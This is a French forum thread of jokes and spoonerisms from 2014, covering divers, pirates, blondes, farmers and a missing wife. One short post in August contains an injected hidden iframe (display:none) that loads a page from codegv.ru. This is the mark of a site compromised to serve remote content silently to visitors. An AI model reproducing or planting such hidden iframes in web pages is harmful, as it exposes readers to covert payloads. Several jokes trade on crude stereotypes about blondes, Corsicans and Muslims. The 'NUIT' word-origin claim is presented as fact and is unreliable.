Posté(e) : 21 août 201410 a Référent Mécanique C'est un plongeur à bouteilles qui est en train de contempler la faune sous-marine. Il en est à -15 mètres lorsqu'il remarque un gars à côté de lui, en apnée... Aucune bouteille d'oxygène ou quoi que ce soit de l'équipement du plongeur traditionnel. Le plongeur bouteille descend alors à -20 mètres mais se fait rapidement rejoindre par l'apnéiste. Alors, un peu vexé, le plongeur descend à - 30 mètres... mais ne tarde pas à voir le gars en apnée se rapprocher de lui. Énervé, il saisit sa craie et son petit écritoire hydrofuge et il écrit : - QU'EST-CE QUE VOUS FOUTEZ SI BAS SANS ÉQUIPEMENT ? Et l'autre lui prend la craie et écrit : - JE ME NOIE, CONARD !
Posté(e) : 21 août 201410 a pour reparler de paulette, une petite contrepèterie : il n'y a pas de rebords à mes épaulettes j'attends les experts
Posté(e) : 21 août 201410 a en inversant le "b" et le "m" <iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>
Posté(e) : 22 août 201410 a Référent Mécanique Après 20 années, trois copains se retrouvent. Le premier dit : - Ma femme a une taille de guêpe et tous les soirs, je la pique, je la pique... Le deuxième : - Moi, ma femme a une taille de sauterelle, et tous les soirs, je la saute, je la saute... Le troisième : - Moi, ma femme a une taille d'éléphant, et tous les soirs, je la trompe, je la trompe...
Posté(e) : 22 août 201410 a réponse : il n'y a pas de rebords à mes épaulettes ..... il n'y a pas de remord à bais*r paulette
Posté(e) : 24 août 201410 a Référent Mécanique Un homme rencontre un pirate très amoché (bras en moins, jambe de bois, bandeau sur l'œil...). Très impressionné, il lui demande : - Comment avez-vous perdu votre jambe ? - ça, c'est un requin immense qui me l'a arrachée - Oh...Et votre crochet ? - Un pirate m'a tranché la main dans un combat - Ah...Et votre œil ? - ça c'est une mouette - Une mouette vous a crevé l'œil ? - Non, mais elle ma chié dessus, et j'étais pas encore habitué au crochet...
Posté(e) : 25 août 201410 a Modérateur La fermière sait que sa poule mue, aussi vit-elle aux champs. C'est de la contre .... pèterie dans le vent ça !
Posté(e) : 25 août 201410 a C'est de la contre .... pèterie dans le vent ça ! La fermière sait que sa poule mue, aussi chit-elle aux vents.
Posté(e) : 25 août 201410 a QUE SA MOULE PUE...............AUSSI CHIT ELLE AU VENT (surtout pas ch...sous le vent)
Posté(e) : 26 août 201410 a la philanthropie de l'ouvrier partant ch*er quelque autres : il y a un très beau son dans son clip : je vous laisse le choix dans la date (celle là fonctionne , testée sur une secrétaire au boulot ) :le marin gratte le fond de sa quille avec le fer de son erminette
Posté(e) : 27 août 201410 a Référent Mécanique C'est un supporter de l'équipe de France qui regarde un match de foot à la télé dans un bar. Son chien est assis à ses côtés et regarde aussi le match quand, enfin, la France marque un but ! Le chien se met à japper et à courir dans tous les sens ! Le voisin demande au propriétaire du chien : - Qu'est-ce qui lui arrive à votre chien ? - Il est supporter de l'équipe de France, il est content. - Ben dites donc, juste pour un but ?! Et que fait-il quand la France gagne un match ? - Ah ça, je sais pas ! Je ne l'ai que depuis 2 ans...
Posté(e) : 30 août 201410 a Un jour, sa femme l’appelle furieuse sur son portable « Et alors, vieux soûlard, où est-ce que tu es ? » il répond doucement : « Te souviens-tu de cette bijouterie où, il y a très longtemps, tu avais repéré une superbe bague sertie de diamants<o:p et tu en étais tombée dingue amoureuse ? Je t'avais dit un jour elle sera à toi. Mais à cette époque je n'avais pas assez<o:p d'argent pour te l'offrir.» Sa femme, calmée et soudain toute émue, un début de sanglot dans la voix : « Oh oui, mon amour, je me souviens ! » « Eh bien, je suis dans le bistrot d'en face ! »</o</o Modifié 30 août 201410 a par patatrac
Posté(e) : 31 août 201410 a la philanthropie de l'ouvrier partant ch*er quelque autres : il y a un très beau son dans son clip : je vous laisse le choix dans la date (celle là fonctionne , testée sur une secrétaire au boulot ) :le marin gratte le fond de sa quille avec le fer de son erminette Philantropie : La tripe en folie ... (C'est une double contrepèterie). Modifié 1 septembre 201410 a par piersophie71
Posté(e) : 31 août 201410 a Référent Mécanique Dans un asile, un fou se promène avec une laisse avec accroché au bout une brosse à dents, un gardien de prison, sachant qu'il est fou, lui dit : - Il est beau votre chien Le fou le regarde bizarrement et lui dit : - De quoi parlez-vous ? ce n'est pas un chien, mais une brosse à dents ! Le gardien, un peu confondu, décide de s'en aller, le fou regarde sa brosse à dents et lui dit : - On l'a bien eu, hein Rex ?
Posté(e) : 31 août 201410 a Référent Mécanique Une blonde désire acheter une télé. Elle appelle le vendeur : - Je veux ce téléviseur là ! - On ne sert pas les blondes, ici ! Surprise, elle va chez le coiffeur et se fait teindre ses cheveux en brun. Elle retourne voir le même vendeur et redemande : - Je veux ce téléviseur là ! - Je vous ai dit que je ne servais pas les blondes ! - Mais je ne suis pas blonde ! - Vous êtes une fausse brune : La preuve, ça fait deux fois que vous me montrez un four à micro-ondes !
Posté(e) : 1 septembre 201410 a C'est une blonde qui vient d'écraser un poulet. Elle se rend à la ferme la plus proche et dit au fermier : Je viens d'écraser un poulet, je suis désolée, vraiment... - Bah c'est pas grave ma bonne dame, vous z'avez qu'à le manger. - D'accord mais qu'est-ce que je fais de sa moto ? Pourquoi les mamans blondes changent les couches de leurs bébés rarement ? Parce que sur l'emballage c'est écrit: " Jusqu'à 19 kg ". Pourquoi les blondes sifflent-elles mieux que les brunes ? C'est parce qu' elles ont une cervelle de moineau !
Posté(e) : 1 septembre 201410 a Trois fous marchent depuis quelques kilomètres sur une voie ferrée. Le premier dit : - "Cet escalier est bien long !" Le deuxième : - "Oui et la rampe est un peu basse". Et le dernier : - "C'est bon, y'en a plus pour longtemps, j'vois l'ascenseur qui arrive...."
Posté(e) : 1 septembre 201410 a Référent Mécanique Vous êtes au volant d'une voiture et vous roulez à vitesse constante ... A votre droite, le vide ... A votre gauche, un camion de pompiers qui roule à la même vitesse et dans la même direction que vous. Devant vous, un cochon, qui est plus gros que votre voiture ! Derrière vous, un hélicoptère qui vous suit, en rase-motte. Le cochon et l'hélicoptère vont à la même vitesse que vous ! Face à tous ces éléments, comment faites-vous pour vous arrêter ? C'est simple, vous descendez du manège !
Posté(e) : 1 septembre 201410 a Trois joyeux petits cochons Nif-Nif, Naf-Naf et Nouf-Nouf , jouaient, chantaient... La porte s'ouvre brusquement, et un loup inconnu entre... Tous trois restent figés, apeurés... Le loup dit : “Salam Aleykoum !” Tous reprennent soulagés : "Grâce à Dieu, il est musulman"
Posté(e) : 1 septembre 201410 a > Un journaliste interviewe un paysan corse : Dites-moi, comment faites-vous pour tracer les routes ici ? > Bah, on lâche un âne et on regarde par où il passe dans la montagne....et c'est là qu'on fait passer la route. > Et si vous n'avez pas d'âne ? Ah.....beh là, bien sûr, on prend un ingénieur !
Posté(e) : 2 septembre 201410 a Un homme rentre dans un bar et demande au barman: - je voudrais un verre de vin, vite !!! - rouge ou blanc ? Répondit le barman. - je m’en fiche je suis aveugle !
Posté(e) : 2 septembre 201410 a Connaissez vous l’origine et la signification du mot : NUIT Non ? Voilà l’explication. Dans de nombreuses langues européennes, le mot NUIT est formé par la lettre "N" , et suivie du numéro 8 dans la langue respective. La lettre "N" est le symbole mathématique de l'infini, suivi du nombre 8, qui symbolise aussi l'infini. Ainsi, dans toutes les langues, NUIT signifie l'union de l'infini ! Voi...ci quelques exemples : PORTUGAIS : noite= n + oito ANGLAIS : night= n + eight ALLEMAND : nacht= n+ acht ESPAGNOL : noche= n+ ocho ITALIEN : notte= n+ otto FRANCAIS : nuit= n+ huit INTERESSANT, NON ?
Posté(e) : 2 septembre 201410 a C'est un gars qui va au poste de police rapporter que sa femme a disparu Le gars: Ma femme est partie faire du shopping et elle n'est pas revenue depuis deux jours. Policier : Combien mesure-t-elle ? Le gars: Je ne lui ai jamais demandé. Policier : Maigre ou grosse ? Le gars: Pas maigre ; elle est peut-être grosse. Policier : Couleur des yeux ? Le gars : Je ne saurais pas dire. Policier: Couleur ...des cheveux ? Le gars : Je ne sais plus, elle change chaque mois. Policier : Qu'est-ce qu'elle portait ? Le gars : Une robe ou un pantalon - me rappelle plus exactement. Policier : Était-elle en voiture ? Le gars : Oui Policier : Description de la voiture, s'il vous plaît. Le gars : Un 4x4 PATROL GR Nissan gris anthracite 6 cyl en ligne super turbo. 2.8 litres avec une transmission automatique à 6 rapports ( Si ), phares LED à diodes, GPS intégré, sièges en cuir couleur sable chaud, attache-remorque , Pare buffle schnorkel ,r eservoir additionnel 65l,e quipé raid. a mortisseur Koni e t une légère égratignure sur la porte du conducteur. Et là, le gars se met à pleurer. Policier : On se calme, on va la retrouver, la voiture…
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